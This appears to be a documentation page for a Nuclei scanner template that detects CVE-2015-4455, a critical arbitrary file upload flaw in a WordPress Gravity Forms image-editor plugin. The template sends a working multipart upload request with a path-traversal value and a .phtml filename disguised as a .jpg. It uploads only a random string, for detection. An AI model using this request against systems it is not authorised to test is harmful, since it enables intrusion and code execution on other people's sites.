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WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload

ID: CVE-2015-4455

Severity: critical

Author: MaStErChO

Tags: cve,cve2015,packetstorm,intrusive,file-upload,wordpress,aviary_image_editor_add-on_for_gravity_forms_project

Description

Section titled “Description”

Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.

YAML Source

Section titled “YAML Source”
id: CVE-2015-4455


info:
  name: WordPress Plugin Aviary Image Editor Addon For Gravity Forms 3.0 Beta - Arbitrary File Upload
  author: MaStErChO
  severity: critical
  description: |
    Unrestricted file upload vulnerability in includes/upload.php in the Aviary Image Editor Add-on For Gravity Forms plugin 3.0 beta for WordPress allows remote attackers to execute arbitrary code by uploading a file with an executable extension, then accessing it via a direct request to the file in wp-content/uploads/gform_aviary.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4455
    - http://packetstormsecurity.com/files/132256/WordPress-Aviary-Image-Editor-Add-On-For-Gravity-Forms-3.0-Beta-Shell-Upload.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2015-4455
    cwe-id: CWE-434
    epss-score: 0.55856
    epss-percentile: 0.97673
    cpe: cpe:2.3:a:aviary_image_editor_add-on_for_gravity_forms_project:aviary_image_editor_add-on_for_gravity_forms:*:beta:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "aviary_image_editor_add-on_for_gravity_forms_project"
    product: "aviary_image_editor_add-on_for_gravity_forms"
    framework: wordpress
  tags: cve,cve2015,packetstorm,intrusive,file-upload,wordpress,aviary_image_editor_add-on_for_gravity_forms_project
variables:
  filename: '{{rand_base(7, "abc")}}'


http:
  - raw:
      - |
        GET /?gf_page=upload HTTP/1.1
        Host: {{Hostname}}


      - |
        POST /?gf_page=upload HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=a54906fe12c504cb01ca836d062f82fa


        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="field_id"


        3
        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="form_id"


        1
        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="gform_unique_id"


        ../../../
        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="name"


        {{filename}}.phtml
        --a54906fe12c504cb01ca836d062f82fa
        Content-Disposition: form-data; name="file"; filename="{{filename}}.jpg"
        Content-Type: text/html


        {{randstr}}
        --a54906fe12c504cb01ca836d062f82fa--


    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "Failed to upload file")'
          - 'status_code_2 == 200'
          - 'contains(body_2, "uploaded_filename\":\"{{filename}}.jpg")'
        condition: and
# digest: 4a0a00473045022100f104842e83cdd333bfec4c8c6463e95237500ed675f1d683d2f62d23ab8f4c3702200cc2a4cb6f6e6ee78a9c3e6f2a779909755663c65094e943ccce92fd1f4fbe06:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2015/CVE-2015-4455.yaml"

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